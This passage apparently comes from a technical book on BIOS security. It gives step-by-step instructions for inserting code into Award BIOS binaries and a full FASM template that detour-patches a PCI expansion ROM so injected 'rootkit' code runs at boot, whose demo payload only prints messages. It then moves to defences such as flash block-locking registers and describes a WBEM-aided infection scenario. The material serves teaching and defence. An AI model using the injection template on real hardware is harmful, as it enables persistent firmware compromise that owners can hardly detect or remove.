extract awardext.rom, use cbrom 865pe.bin /other 407F:0 extract. 

3. Release all components of 865pe.bin except the system BIOS and place them in a 
temporary directory by using the suitable Cbrom command. For example, to 
extract awardext.rom, use cbrom 865pe.bin /other 407F:0 release. At this 
point, the components left in 865pe.bin are the system BIOS, the boot block, and 
the decompression block. 

4. Compress system.bin and add it as a new component to 865pe.bin by using Cbrom 
with the following command: cbrom  865pe.bin  /other 5000:0 
system.bin. This step compresses system.bin and places it inside 865pe.bin next 
to the original system BIOS. 

5. Open 865pe.bin with a hex editor and copy the compressed system.bin inside 
865pe.bin into a new binary file. Then close the hex editor. You can give this new 
file a *.lha extension because it's an LHA compressed file. Then release the 
compressed system.bin from 865pe.bin by using Cbrom with the following 
command: 

 
cbrom 865pe.bin /other 5000:0 release 
 

6. Open 865pe.bin with the hex editor again—at this point, the compressed 
system.bin is not inside 865pe.bin because it has been released. Then replace the 

                                                 
9 Recall from section 5.1.2.7 that the system BIOS is decompressed to section 5000h because its 
header indicates that segment as the destination segment for the compressed system BIOS when it is 
decompressed. 



original system BIOS with the compressed system.bin file obtained in the previous 
step. Add padding FFh bytes if necessary. Then close the hex editor. 

7. Combine all remaining components that you extracted in step 2 back with 
865pe.bin, and you're done. 

 
 The preceding steps have been proven to work on some Award BIOS binary that cannot 
be worked with by using the modification method that alters the temporary system BIOS 
file generated by modbin. Note that you don't need modbin in these steps. However, you 
can use modbin to verify the validity of the binary after step 7 has been carried out. 
 The subsections on Award BIOS end here. In the next subsection, I explain the issue 
that plagues the implementation of the BIOS from other vendors. 
 
 
12.2.3. Extending the Technique to a BIOS from Other Vendors 
 
 Implementing the technique that you learned in the previous two subsections to a BIOS 
other than Award BIOS is hard but not impossible. It is difficult because of the lack of tools 
in the public domain to carry out BIOS modification. Decompressing and analyzing a BIOS 
other than Award BIOS is quite easy, as you have seen in AMI BIOS reverse engineering 
in section 5.2. However, the main obstacle is compressing the modified BIOS components 
back into a working BIOS binary, along with correcting the checksums. Even the public-
domain BIOS modification tool sometimes does not work as expected. I can give some 
pointers to a possible solution to this problem, specifically for AMI BIOS and Phoenix 
BIOS. 
 There are some tools for AMI BIOS available on the Internet, such as Mmtool and 
Amibcp. You can work on PCI expansion ROM embedded within an AMI BIOS10 binary 
by using Mmtool. As for Amibcp, it works much like modbin for Award BIOS binaries. 
Amibcp lets you work with the system BIOS within an AMI BIOS binary. Moreover, some 
old versions of this tool released in 2002 or earlier can add a new compressed component 
into the AMI BIOS binary. It's possible that it enables you to add a new compressed 
module into the binary. I haven't done in-depth research on this AMI BIOS exploitation 
scenario yet. 
 On the other hand, the only Phoenix BIOS tool that I'm aware of is Phoenix BIOS 
Editor. This tool works for the BIOS from Phoenix before Phoenix Technologies merges 
with Award Software. This tool generates temporary binary files underneath its installation 
directory upon working on a BIOS binary. You can use that to modify the BIOS. It's 
unfortunate that I haven't researched it further and cannot present it to you. However, I can 
roughly say that the temporary binary files are compiled into one working Phoenix BIOS 
binary when you close the Phoenix BIOS editor. It seems you can alter the system BIOS by 
altering those temporary binary files. 
 The lack of a public domain tool for motherboard BIOS modification can be handled by 
avoiding injecting the rootkit into the motherboard BIOS. But then, how would you inject 

                                                 
10 PCI expansion ROM embedded within the overall BIOS binary is used for onboard PCI devices, 
such as a RAID controller and an onboard LAN chip. 



the rootkit code? Simple: inject it into the PCI expansion ROM. I explain this theme in the 
next section. 
 
 
12.3. PCI Expansion ROM Rootkit Development Scenario 
 
 The PCI expansion ROM rootkit is theoretically easier to implement than the 
motherboard BIOS rootkit explained in the previous section. This is because the PCI 
expansion ROM is simpler than motherboard BIOS. Figure 12.12 shows the basic idea of 
the PCI expansion ROM rootkit. 
 

 
Figure 12.12 PCI expansion ROM rootkit basic concepts 

 
 Figure 12.12 shows the basic concept of injecting a rootkit procedure into PCI 
expansion ROM. As you can see, this method is detour patching applied to 16-bit code, 
simple and elegant. The figure shows how the original jump to the PCI initialization 
procedure can be redirected to an injected rootkit procedure. It shows how you can then 



jump to the original PCI initialization procedure upon completion of the rootkit procedure. 
The effectiveness of this method is limited by the size of the free space in the PCI 
expansion ROM chip and a rather obscure constraint in the x86 booting process—I 
elaborate more on the latter issue later because it's a protocol inconsistency issue. If the 
rootkit is bigger than 20 KB, this method possibly cannot be used because most PCI 
expansion ROMs don't have free space bigger than that. A typical PCI expansion ROM 
chip is 32 KB, 64 KB, or 128 KB. 
 Before proceeding further, let me refresh your memory about the big picture of the PCI 
expansion ROM execution environment. PCI expansion ROMs (other than a video card's 
PCI expansion ROM) are executing in the following execution environment: 
 

• The CPU (and its floating-point unit), RAM, I/O controller chip, PIC, 
programmable interval timer chip, and video card's expansion ROM have been 
initialized. 

• The motherboard BIOS calls the PCI expansion ROM with a 16-bit far jump. 
• Interrupt vectors have been initialized. 
• The CPU is operating in 16-bit real mode. 

 
 From the preceding execution environment, you might be asking why the video card's 
expansion ROM is treated exclusively. That's because the video card is the primary output 
device, which means it has to be ready before initialization of noncritical parts of the 
system. The video card displays the error message, doesn't it? 
 If you look carefully at the execution environment, you'll notice that the interrupt 
handlers have been initialized because the interrupt vectors have been initialized. This 
opens a chance for you to create a rootkit that alters the interrupt handler routines. 
 Now, I'll proceed to the mechanics to inject a custom code to the PCI expansion ROM. 
However, I won't go too far and provide you with a proof of concept. I do show a PCI 
expansion ROM code injection "template," however—in section 12.3.1. At the end of that 
section, I elaborate on one obscure issue in PCI expansion ROM rootkit development. In a 
real-world scenario, the PCI expansion card already has a working binary in its expansion 
ROM chip. Therefore, you have to patch that binary to reroute the entry point11 to jump into 
your rootkit procedure. I use FASMW as the assembler to inject the code into the working 
binary because it has many features that let you inject your code and make a working 
injected PCI expansion ROM binary right away. 
 
 
12.3.1. PCI Expansion ROM Detour Patching 
 
 Listing 12.21 shows the template to inject a code into a PCI expansion ROM named 
rpl.rom. Note that rpl.rom is the original PCI expansion ROM binary file. Look at the 
source code carefully because it contains many nonstandard assembly language tricks 
specific to FASM. 
 

                                                 
11 The entry point is the jump at offset 03h in the beginning of the PCI expansion ROM binary. 



Listing 12.21 PCI Expansion ROM Detour Patching Example 

use16 
 
; ----------------------- BEGIN HELPER MACRO ------------------------- 
 
; -------------------------------------------------------------------- 
; Macro to calculate 8-bit checksum starting at src_addr until 
; src_addr+len and then store the 2's complement of the 8-bit 
; checksum at dest_addr 
; 
macro  patch_8_bit_chksum  src_addr*, len*, dest_addr* 
{ 
  prev_sum = 0  ; Init 8-bit prechecksum 
  sum = 0       ; Init 8-bit checksum 
  repeat len 
     load sum byte from (src_addr + % - 1) 
     sum = (prev_sum + sum ) mod 0x100 
     prev_sum = sum 
  end repeat 
  store byte (0x100 - sum) at dest_addr 
} 
 
; ------------------------- END HELPER MACRO --------------------------- 
 
; ---------------------------------------------------------- 
; Include the original ROM file to be injected with the custom code 
; 
; WARNING: This source code is specific for the custom ROM code 
;          that will be injected with this source code! 
; 
; Note: The jump instruction in the ROM header will be 
;       rerouted to the custom injected code. 
; ---------------------------------------------------------- 
_org_rom_start: 
file 'RPL.ROM' 
 
load rom_jmp byte from (_org_rom_start + 3) 
 
if rom_jmp = 0xEB 
  load _org_entry_point byte from (_org_rom_start + 4) 
  _org_entry_point = _org_entry_point + 5 ; _org_entry_point = offset 
                                          ; in ROM binary 
else if rom_jmp = 0xE9 
  load _org_entry_point word from (_org_rom_start + 4) 
  _org_entry_point = _org_entry_point + 6 ; _org_entry_point = offset 
                                          ; in ROM binary 
else 
  display 'Warning: ROM header doesn't use 8-bit or 16-bit jump 
          instruction' 
end if 
 



;------------------------------------------------------------- 
; From this point on it's the injected code 
; 
_start: 
 
    ; Initialize video mode 
    mov ax, 1 
    int 10h 
 
    mov ax, cs  ; Initialize segment registers 
    mov ds, ax 
    mov si, _msg_executed 
    call display_string 
    mov  bx, 3 
    call delay 
    mov  bl, 'x' 
    call check_key_press 
    or  ax, ax 
    jz  exit 
    mov si, _msg_key_press 
    call display_string 
 
exit: 
    jmp _org_entry_point 
 
delay: 
; Delay approximately the number of seconds as stored in bx register 
; in: bx = number of second(s) of the delay 
  pushad 
  mov ax, 18 
  mul bx 
  mov esi, eax  ; Save number of clock tick delay in esi 
  mov ah, 0 
  int 1Ah 
  mov ax, cx 
  shl eax, 16 
  add ax, dx 
  mov edi, eax  ; Save start clock tick in edi 
 
.next: 
  mov ah, 0 
  int 1Ah 
  mov ax, cx 
  shl eax, 16 
  add ax, dx 
  sub eax, edi 
  cmp eax, esi  ; Does it reach the delay interval? 
  jb  .next 
 
.exit: 
  popad 



  retn 
 
 
 
check_key_press: 
; Check the existence of certain key press 
; in: bl = ASCII character be checked 
; returns: 1 in ax if key press scan code is equal to value in bl 
;          0 in ax if key press is _not_ equal to the requested scan code 
  mov ah, 1 
  int 16h 
  cmp al, bl 
  jz .set_ax 
  mov ax, 0 
  jmp .exit 
.set_ax: 
  mov ax, 1 
.exit: 
  retn 
 
 
display_string: 
; in: ds:si = pointer to 0-terminated string to be displayed 
  cld 
.next_char: 
  lodsb 
  or    al, al 
  jz    .exit 
  mov   ah, 0xE ; Video write character 
  mov   bx, 7 
  mov   cx, 1   ; Only write character 1 time 
  int   10h 
  jmp   .next_char 
.exit: 
  retn 
 
_msg_executed db "PCI expansion ROM injected code executes!",0 
_msg_key_press db 0xD,0xA,"x key press detected!",0 
 
; ------------------ BEGIN  _BIG_ _FAT_ _NOTE_  ---------------------- 
; 
; FASM interpreter can patch the resulting binary _after_ the source 
; code is compiled. That's why you have to put the "binary patcher" 
; code in the end of the listing. This trick is mainly to satisfy 
; the requirements needed to calculate the addresses of the labels. 
; 
; ------------------ END    _BIG_ _FAT_ _NOTE_  ---------------------- 
 
; --------------------------------------------------------------------- 
; Redirect original ROM entry point to point to the injected code 
; 



; NOTE: This is a _brute force_ approach. 
; 
store word 0 at (_org_rom_start + 0x13)    ; Store end of string marker 
                  ; because some expansion ROM uses the area 
                  ; after the ROM header for string 
; jmp (_org_rom_start+0x15) 
store byte 0xEB at (_org_rom_start + 0x3) 
store byte (0x15 - 0x5) at (_org_rom_start + 0x4) 
 
; jmp _start 
if ( (_start - (_org_rom_start + 0x17)) > 0xFF ) 
  store byte 0xE9 at (_org_rom_start + 0x15) 
  store word (_start - (_org_rom_start + 0x18))  at 
                                                (_org_rom_start + 0x16) 
else 
  store byte 0xEB  at (_org_rom_start + 0x15) 
  store byte (_start - (_org_rom_start + 0x17))  at 
                                                (_org_rom_start + 0x16) 
end if 
 
; -------------------------------------------------------------------- 
; Calculate and patch PCI ROM size and add padding bytes for the 
; custom ROM code 
; 
rom_size = ( ( ($-_start) + 511) / 512 )   ; PCI ROM size in multiple of 
                                           ; 512 bytes 
times ( rom_size * 512 - ($-_start) ) db 0 ; Insert padding bytes 
 
 
; -------------------------------------------------------------------- 
; Place the 8-bit patch_byte for the checksum in the reserved word of 
; the original PCI data structure 
; 
load _org_pcir_reserved word from (_org_rom_start + 0x18) 
_org_pcir_reserved = _org_pcir_reserved + 0x16 
 
patch_8_bit_chksum _org_rom_start, ($-_org_rom_start), _org_pcir_reserved 
 
 Listing 12.21 is indeed hard to understand for the average assembly language 
programmer who hasn't work with FASM. I'll start by explaining the idea behind the source 
code. You know the basic idea of a PCI expansion ROM rootkit from figure 12.12. In that 
figure, you saw that to inject a rootkit code into a working PCI expansion ROM binary, you 
have to patch the entry point of the original PCI expansion ROM and place your code in the 
"free space" following the original binary. Moreover, you also have to ensure that the size 
of the new binary is in a multiple of 512 bytes and it has a correct 8-bit checksum. These 
restrictions can be broken down into a few fundamental requirements such that the 
assembler is able to carry out all tasks in one source code.12 They are as follows: 

                                                 
12 The tasks in this context refer to calculating the checksum, adding padding bytes, patching the 
original PCI expansion ROM, etc. 



 
1. The assembler must be able to work with the original binary, in particular reading 

bytes from it and replacing bytes in the original binary. 
2. The assembler must be able to produce a final executable13 binary file that 

combines both the injected code and the original binary file. 
 
 Among all assemblers that I've come across, only FASM that meets both of the 
preceding requirements. That's why I'm using FASM to work with the template. 
 Figure 12.13 presents the overview of the compilation steps when FASM assembles the 
source code in listing 12.21. 
 

 
Figure 12.13 Overview of PCI expansion ROM "detour patch" assembling steps in FASM 

(simplified) 

 
 Perhaps, you are confused about what the phrase "FASM interpreter instructions" 
means. These instructions manipulate the result of the compilation process, for example, 
the load and store instructions. I'll explain their usage to clarify this issue. Start with the 
load instruction: 
 

                                                 
13 Executable in this context means the final PCI expansion ROM. 



load _org_pcir_reserved word from (_org_rom_start + 0x18) 
 
 The preceding code snippet means: obtain the 16-bit value from address 
_org_rom_start + 0x18 in the output binary and place it in the _org_pcir_reserved 
variable. This should be clear enough. Now move on to store instruction: 
 
  store byte 0xE9 at (_org_rom_start + 0x15) 
 
 The preceding code snippet means: store a byte with a 0xE9 value to address 
_org_rom_start + 0x15 in the output binary. This code patches or replaces the byte at 
address _org_rom_start + 0x15 with 0xE9. 
 More information about the FASM-specific syntax in listing 12.21 is available in the 
FASM programmer's manual, version 1.66 or newer. You can download this manual at 
http://flatassembler.net/docs.php. 
 The code in listing 12.21 will display some messages and wait for the user to press the 
<x> key on the keyboard during boot, i.e., when the PCI expansion ROM is being 
initialized. It has a timeout, however. Thus, if the user doesn't press "x" and the timeout 
passes, the injected code jumps into the original PCI expansion ROM code and the boot 
process will resume. The rest of the source code is easy enough to understand. 
 Now you know the principle and the template needed to create your own custom code to 
be injected into a PCI expansion ROM. The rest depends on your imagination. 
 
 
12.3.2. Multi-image PCI Expansion ROM 
 
 If you are a proficient hardware engineer or hardware hacker, you might read the PCI 
specification carefully and find out that why don't I use the PCI expansion ROM multi-
image approach to implement the rootkit in the PCI expansion ROM. Recall from figure 7.2 
in chapter 7 that a single PCI expansion ROM binary can contain more than one valid PCI 
expansion ROM—every PCI expansion ROM in this binary is referred to as an image. This 
concept directly corresponds to the PCI expansion ROM data structure. Recall from table 
7.2 in chapter 7 that you can see the last byte in the data structure is a flag that signifies 
whether or not the current image is the last image in the PCI ROM binary. If you set this 
flag to indicate that the current image is not the last image in the PCI data structure for the 
first image, then you might think that the mainboard BIOS will execute the second image, 
too, when it initializes the PCI expansion ROM. However, this is not the case. Look at 
figure 12.14. 
 



 
Figure 12.14 Multi-image PCI expansion ROM initialization 

 
 Figure 12.14 shows that even if a PCI expansion ROM contains more than one valid 
image, only one is executed by the motherboard: the first valid image for the corresponding 
processor architecture that the motherboard supports. I have validated this hypothesis a few 
times in my experimental x86 machines. It seems to be that the multiple image facility in 
PCI protocol is provided so that a single PCI expansion card can plug into machines with 
different machine architecture and initialize itself seamlessly by providing specific code 
(one image in the overall binary) for each supported machine architecture. This means 
only one image will be executed in one system, as confirmed by my experiments. In my 
experiment, I create a single PCI expansion ROM binary, which contains two valid PCI 
expansion ROMs for x86 architecture. I plugged the PCI expansion card that contains the 
PCI expansion ROM binary in several machines. However, the second image was never 
executed; only the first one was executed. Nonetheless, this opens the possibility to create 
an injected code that supports several machine architectures. I'm not going to talk about it 
in this book. However, you might be interested in conducting research about such a 
possibility. 
 
 
12.3.3. PCI Expansion ROM Peculiarity in Network Cards 
 
 The last issue regarding a PCI expansion ROM–based BIOS rootkit is the peculiarity of 
PCI expansion ROM in a network card. My experiments show that PCI expansion ROM for 
a network card is executed only if the BIOS setting in the motherboard is set to boot from 
LAN. Even the PCI expansion ROM's init function won't be executed if this is not set. I've 
read all related documentation, such as PCI specification version 3.0, and various BIOS 
boot specifications to confirm that this behavior is inline with all specifications. However, I 
couldn't find one that talked about it specifically. Nonetheless, it's safe to assume that you 
have to account for this standard behavior if you are injecting your code into PCI expansion 
ROM binary in a network card. You have to realize that the administrator in the target 
system might not set the boot from LAN option in its BIOS; therefore, your code will never 
execute. Pay attention to this issue. 
 This concludes my explanation of the PCI expansion ROM–based rootkit. 



Chapter 13 BIOS Defense Techniques 
 
 
PREVIEW 
 
 The previous chapters explained BIOS-related security issues mainly from the attackers' 
point of view. This chapter dwells on the opposite point of view, that of the defenders. The 
focuses are on the prevention and mitigation of BIOS-related attacks. I start with the 
prevention method and then advance to the mitigation methods to heal systems that have 
been compromised by BIOS-related attack techniques. 
 
 
13.1. Prevention Methods 
 
 This section explains the methods to prevent an attacker from implanting a BIOS-based 
rootkit in your system. As you learned in the previous chapters, there are two kinds of 
subsystems that can be attacked by a BIOS-based rootkit, the motherboard BIOS and the 
PCI expansion ROM. I start with the motherboard BIOS and proceed to the PCI expansion 
ROM issue. 
 
 
13.1.1. Hardware-Based Security Measures 
 
 Recall from section 11.4 in chapter 11 that there is a hardware-based security measure 
in the motherboard BIOS chip to prevent an attacker from altering its contents. Certain 
registers in the BIOS chip—the BLRs—can prevent access to the BIOS chip, and their 
value cannot be changed after the BIOS initializes them,1 meaning that only changing the 
BIOS setup would change the status of the hardware-based protection. Therefore, the 
attacker needs physical access to the system to disable the protection. Nonetheless, there is 
a flaw to this prevention mechanism. If the default value of the BIOS setting in the BIOS 
code disables this protection, there is a possibility that the attacker can invalidate the 
values inside the CMOS chip remotely—within the running operating system—and restart 
the machine remotely afterward to disable the hardware-level protection. This happens 
because most machines force loading of the default value of the BIOS setting if the 
checksum of values in the CMOS is invalid. 
 Before proceeding, a comparison study among flash ROM chips used as the BIOS chip 
in the motherboard is important because you need to know the nature of the implementation 
of the hardware-level protection. I presented the hardware-based protection example in 
chapter 11 with the Winbond W39V040FA chip. Now, look at another sample from a 

                                                 
1 Once the lock-down bit in the chip is activated, the state of the write-protection mechanism cannot 
be changed before the next boot or reboot. This doesn't imply that you can change the write-
protection mechanism in the next reboot. For example, if the lock-down bit initialization is carried out 
by the BIOS, you cannot change the state of the write protection unless you change the BIOS. 



different manufacturer. This time I present a chip made by Silicon Storage Technology 
(SST), the SST49LF004B flash ROM chip. This chip is a 4-megabit (512-KB) FWH-based 
BIOS chip. It's compatible with the LPC protocol. Therefore, it's connected with the other 
chip in the motherboard through the LPC bus. 
 Because most working principles of an FWH-based flash ROM chip are the same, I 
won't dwell on it. Please refer to section 11.4 about the fundamentals on this issue. You can 
download the datasheet for SST49LF004B at 
http://www.sst.com/products.xhtml/serial_flash/49/SST49LF004B. 
 Now, proceed to SST49LF004B internals. First, look at the memory map of 
SST49LF004B in figure 13.1. This memory map is shown from the flash ROM address 
space, not the system-wide memory address space of x86 systems. 
 

 
Figure 13.1 SST49LF004B memory map 

 
 As you can see in figure 13.1, SST49LF004B is composed of eight 64-KB blocks, 
which means the total capacity of this chip is 512 KB. Every block has its control register, 
named BLR, that manages the reading and writing. You learned about the fundamentals of 
the BLR in section 11.4. Therefore, I will proceed directly to the memory map of the BLRs 
from the SST49LF004B datasheet. It's shown in table 13.1. 
 



Registers (BLRs) Block 
Size

Protected Memory 
Address Range 
(in the chip) 

4-GB System Memory 
Address 
 

T_BLOCK_LK 64 KB 7FFFFh–70000h FFBF0002h

T_MINUS01_LK 64 KB 6FFFFh–60000h FFBE0002h

T_MINUS02_LK 64 KB 5FFFFh–50000h FFBD0002h

T_MINUS03_LK 64 KB 4FFFFh–40000h FFBC0002h

T_MINUS04_LK 64 KB 3FFFFh–30000h FFBB0002h

T_MINUS05_LK 64 KB 2FFFFh–20000h FFBA0002h

T_MINUS06_LK 64 KB 1FFFFh–10000h FFB90002h

T_MINUS07_LK 64 KB 0FFFFh–00000h FFB80002h

Table 13.1 SST49LF004B BLRs memory map 

 
 The protected memory address range column in table 13.1 refers to the physical address 
of the BLR with respect to the beginning of the chip address space; it is not in the system-
wide address space context. If you compare the contents of table 13.1 and table 11.1 in 
chapter 11, it's immediately clear that both tables are almost identical. The difference is 
only in the name of the BLR. This naming depends on the vendor. Nonetheless, both names 
refer to the BLR. Just as in Winbond W39V040FA, the BLRs in SST49LF004B are 8-bit 
registers. Table 13.2 shows the meaning of each bit in these registers. 
 

Reserved Bit [7:2] Lock-Down Bit [1] Write-Lock Bit [0] Lock-Status 
000000 0 0 Full access
000000 0 1 Write-locked (default 

state at power-up)
000000 1 0 Locked open (full 

access locked down)
000000 1 1 Write-locked down

Table 13.2 SST49LF004B BLRs bit 

 
 Table 13.2 shows that the topmost six bits in each BLR are reserved. It means that these 
bits should not be altered. The lowest two bits control the locking mechanism in the chip. 
Moreover, recall from figure 13.1, that the top boot block (TBL#) and write-protect (WP#) 
pins in the SST49LF004B control the type of access granted into the contents of the chip. 
These pins are overrides to the BLR contents because their logic states determine the 
overall protection mechanism in the chip. The working principle of the BLR bits, the TBL# 
pin, and WP# pin are explained in SST49LF004B datasheet. A snippet is shown here. 
 

Write Lock: The write-lock bit, bit 0, controls the lock state. The default 
write status of all blocks after power-up is write-locked. When bit 0 of the 
block locking register is set, program and erase operations for the 
corresponding block are prevented. Clearing the write-lock bit will unprotect 



the block. The write-lock bit must be cleared prior to starting a program or 
erase operation since it is sampled at the beginning of the operation. 
 
The write-lock bit functions in conjunction with the hardware write-lock pin 
TBL# for the top boot block. When the TBL# is low, it overrides the software 
locking scheme. The top boot block locking register does not indicate the 
state of the TBL# pin. 
 
The write-lock bit functions in conjunction with the hardware WP# pin for 
blocks 0 to 6. When WP# is low, it overrides the software locking scheme. 
The block locking registers do not indicate the state of the WP# pin. 
 
Lock Down: The lock-down bit, bit 1, controls the block locking registers. 
The default lock-down status of all blocks upon power-up is not locked 
down. Once the lock-down bit is set, any future attempted changes to that 
block locking register will be ignored. The lock-down bit is only cleared upon 
a device reset with RST# or INIT# or power-down. Current lock-down status 
of a particular block can be determined by reading the corresponding lock-
down bit. 
 
Once the lock-down bit of a block is set, the write-lock bits for that block can 
no longer be modified and the block is locked down in its current state of 
write accessibility. 

 
 The motherboard maker can use the override pins to implement a custom BIOS 
protection mechanism in its motherboard by attaching the pin to another programmable 
chip. Nonetheless, that approach will reduce the compatibility of the motherboard with 
flash ROM from other vendors; this is not a problem for flash ROM soldered into the 
motherboard, however, because the chip would never be replaced. 
 The hardware-based protection explained in section 11.4 and the current explanation are 
similar because both BIOS chips adhere to a standard FWH specification. Intel conceived 
this standard. The first implementation of this standard was on the Intel 82802AB chip in 
2000. Many firmware and chipset vendors adopted the standard shortly after the first 
implementation. The BLR explained in section 11.4 and in this section is also part of the 
FWH specification. If you want to know the original FWH specification, download the 
Intel 82802AB datasheet at 
http://www.intel.com/design/chipsets/datashts/290658.htm?iid=ipp_810chpst+info_ds_fwh
&. Reading the Intel 82802AB datasheet will give you a glimpse of the implementation of 
other FWH-based flash ROM chips. 
 Based on the preceding analysis, the prerequisite for a hardware-based security measure 
in a motherboard BIOS chip to work without a flaw from remote attacks is that the BIOS 
code must implement the default value of the BIOS setting that prevents writing into the 
BIOS chip after boot completes—preventing writing to the BIOS chip within the operating 
system. It's better if the BIOS code disables access to the BIOS chip because the attacker 
won't be able to read and analyze the contents of the BIOS chip within the operating 
system. This prevention method will protect the system from remote attacks that will 
disable the hardware-based BIOS chip protection by invalidating the CMOS checksum and 
restarting the system. If the BIOS code doesn't provide the protection code, you still have a 



chance to protect your system or at least raise the bar for an attacker who wants to infect 
your BIOS with a rootkit from a remote place. This prevention method is accomplished by 
developing a device driver that will initialize the BLR upon the boot of the operating 
system. The initialization by the driver will configure the BLR bits so that the BIOS chip 
contents will be write-locked. This way, the attacker has to work to find the driver before 
he or she can infect the BIOS. This is especially hard for the attacker if the driver is 
stealthy. 
 I'm not proposing a BIOS patching approach to alleviate the "bad" BIOS code 
implementation of the protection mechanism—BIOS that doesn't write-lock the BIOS chip 
upon boot—because I think it will be hard to modify the BIOS binary to make that happen, 
especially for a BIOS that has no publicly available modification tool. It's just too risky to 
implement such a thing in the today's BIOS. 
 
 
13.1.2. Virtual Machine Defense 
 
 Another prevention method that may help defend a BIOS rootkit is the implementation 
of a virtual machine. When attackers target the operating system running within the virtual 
machine, they may find a BIOS within that operating system. However, it's not the real 
motherboard BIOS. Thus, they won't harm the system. However, this method won't work if 
the attackers realize that the system running on top of a virtual machine because they will 
try to gain full control of the system to gain access to the real BIOS chip in the 
motherboard. As a side note, some virtual machines use a modified version of AMI BIOS 
as the BIOS. 
 Another issue that I haven't researched yet is the "presentation" of the emulated 
hardware inside the virtual machine. I don't know yet how real the virtual machine–
emulated hardware looks when an attacker has gained full access to the virtual machine 
entity remotely. 
 
 
13.1.2. WBEM Security in Relation to the BIOS Rootkit 
 
 In this subsection, I'm not going to delve into the issue of implementing a WBEM 
security measure because a WBEM-based attack entry point is in the application layer, not 
in the BIOS. However, I want to explain the danger caused by a compromised WBEM 
infrastructure2 in connection with a BIOS rootkit deployment scenario. This is important 
because few people are aware that a compromised WBEM infrastructure can help attackers 
launch a firmware-level assault on the systems inside the WBEM infrastructure. 
 Attackers who have gained access to the overall WBEM infrastructure likely will 
implement a low-level rootkit to maintain their access in the compromised systems. This 
means they will probably try to infect the compromised system with BIOS rootkit. Here is 

                                                 
2 WBEM infrastructure in this context consists of desktops and servers that implement a certain 
WBEM specification and can respond to remote queries that request the system-level configuration 
information. 



the possible attack scenario that uses WBEM as an aid to launch an organization-wide 
BIOS rootkit infection. 
 In chapter 10, I talked about WMI as one implementation of WBEM. In practice, one 
uses of WMI is to detect the configuration of the client machines connected to a local 
Windows update server. This server provides the latest patches and updates for Microsoft 
Windows inside an organization. A local Windows update server detects the configuration 
of the client machine before sending the updates and patches to the client machine. The 
detection is carried out through WMI interface. The client configuration data is stored in the 
local Windows update server so that future updates for the client can be performed faster; 
time is not wasted probing for the details of the client through the WMI interface again. 
Because the local Windows update server caches the client machine configuration, 
attackers who compromise the server will have access to the configuration data of the 
machines that have been using the server. Recall from figure 10.6 that the motherboard type 
and BIOS version of the client computer are among the configuration information available 
in the server. With this information, attackers can launch an organization-wide BIOS 
rootkit infection more easily. Such a scenario is shown in figure 13.2. 
 



 
Figure 13.2 WBEM-aided attack scenario 

 
 Note that in figure 13.2 the local Windows update server is not marked as the target of 
step 2 of the attack. However, the Windows update server can become the target of BIOS 
rootkit infection if the attackers desire. The comments in figure 13.2 may not be obvious. 
Therefore, steps of the attack procedure are as follows: 
 

1. The attackers penetrate the organization's computer network and compromise the 
local Windows update server. 

2. Based on the detailed client data in the Windows update server, the attackers 
search as needed for relevant datasheets regarding the next target—the machine 
that will be infected with a BIOS rootkit. Datasheets may be unnecessary if the 
system is already well known to the attacker. Then, the attacker devises the 
system-specific BIOS rootkit. In many organizations, workstations and desktops 



use the same hardware configuration, or at least have many similarities. This eases 
the deployment of BIOS rootkit by the attackers. 

 
 In the real world, few organizations may implement a local Windows update server. 
Nonetheless, an attack scenario like this must be addressed because it greatly affects the 
organization. 
 
 
13.1.3. Defense against PCI Expansion ROM Rootkit Attacks 
 
 Compared to the rootkit in the motherboard BIOS, a PCI expansion ROM-based rootkit 
is hard to protect because there is no hardware security measure implemented in the PCI 
expansion ROM chip. The size of the PCI expansion ROM chip varies from 32 KB to 128 
KB, and most flash ROM chips in this category don't have a special write-protection 
feature. There is no BLR-like feature in most PCI expansion ROM chips. Therefore, any 
valid access to the PCI expansion ROM chip is immediately granted at the hardware level. 
 The absence of hardware-level protection in the PCI expansion ROM chip doesn't mean 
that you can't overcome a security threat. There are hypothetical methods that you can try. 
They haven't been tested, and most of them are Windows specific. Nonetheless, they are 
worth mentioning. The methods are as follows: 
 

1. Some PCI expansion card chipsets3 map the expansion ROM chip in the memory 
address space. In Windows, this memory address space is accessed directly using 
the MmGetSystemAddressForMdlSafe kernel function and other memory 
management functions. By hooking into this function in the kernel, you can filter 
unwanted accesses to a certain memory address range in the system. If the filter is 
applied to a memory-mapped PCI expansion ROM chip, it can guard against 
malicious access to the PCI expansion ROM contents. The same principle can be 
applied to a UNIX-like operating system, such as Linux. However, the kernel 
function that you have to watch for is different, because the operating system is 
different from Windows. In any case, the implementation of your "hook function" 
is in the form of a kernel-mode device driver that watches for malicious attempts 
to access predefined memory address ranges. Predefined memory address ranges 
in this context refers to the memory address ranges that have been reserved for the 
PCI expansion ROM by the motherboard BIOS during system-wide address space 
initialization upon boot. 

2. Some PCI expansion card chipsets map the expansion ROM to the I/O address 
space. You learned about this when you were working with the RTL8139-based 
card in chapter 9. The I/O address space of the expansion ROM is accessed 
through PCI bus transactions. There is no way to prevent those transactions if the 
attackers use direct hardware access, i.e., write to the PCI data port and address 

                                                 
3 In this context, PCI expansion ROM chipsets are the controller chip in the PCI expansion card, such 
as the Adaptec AHA-2940U SCSI controller, the Nvidia GeForce 6800 chip, and the ATI Radeon 
9600XT chip. 



port directly. If the attackers use a kernel function to carry out the PCI bus 
transactions, you can filter it, akin to the method explained in the previous method. 

 
 Both of the preceding hypothetical prevention methods work only if the attackers don't 
have physical access to the machine. If they do, they can install the rootkit by rebooting the 
machine to an unsecured operating system, such as DOS, and reflash the PCI expansion 
ROM with an infected PCI expansion ROM binary. 
 The previous explanation clarifies the issue of preventing PCI expansion ROM–based 
attacks. You can conclude that it's still a weak point in the defense against a firmware-level 
security threat. 
 In the future, when hardware-level protection similar to the BLR in the motherboard 
BIOS chip is implemented in the PCI expansion ROM chip, implementing a protection 
mechanism in the PCI expansion card will be easier for hardware vendors and third-party 
companies. 
 
 
13.1.4. Miscellaneous BIOS-Related Defense Methods 
 
 There are some prevention methods in addition to those I have talked about in the 
previous subsections. I will explain one of them, the Phoenix TrustedCore BIOS. This type 
of BIOS has just entered the market. It's worth exploring in this subsection because it gives 
a glimpse into the future of BIOS protection against malicious code. 
 In coming years, BIOS implementation will be more secure than most BIOS currently 
on the market. This is because of the industry-wide adoption of standards by Trusted 
Computing Group (TCG), such as the Trusted Platform Module (TPM) and the TPM 
Software Stack (TSS). The Phoenix TrustedCore BIOS is one BIOS implementation that 
adheres to standards by TCG. 
 TCG standards are quite hard to understand. Therefore, I give an overview of them 
before moving to Phoenix-specific implementation—the Phoenix TrustedCore. TCG 
standards consist of many documents. It's not easy to grasp the documentation effectively. 
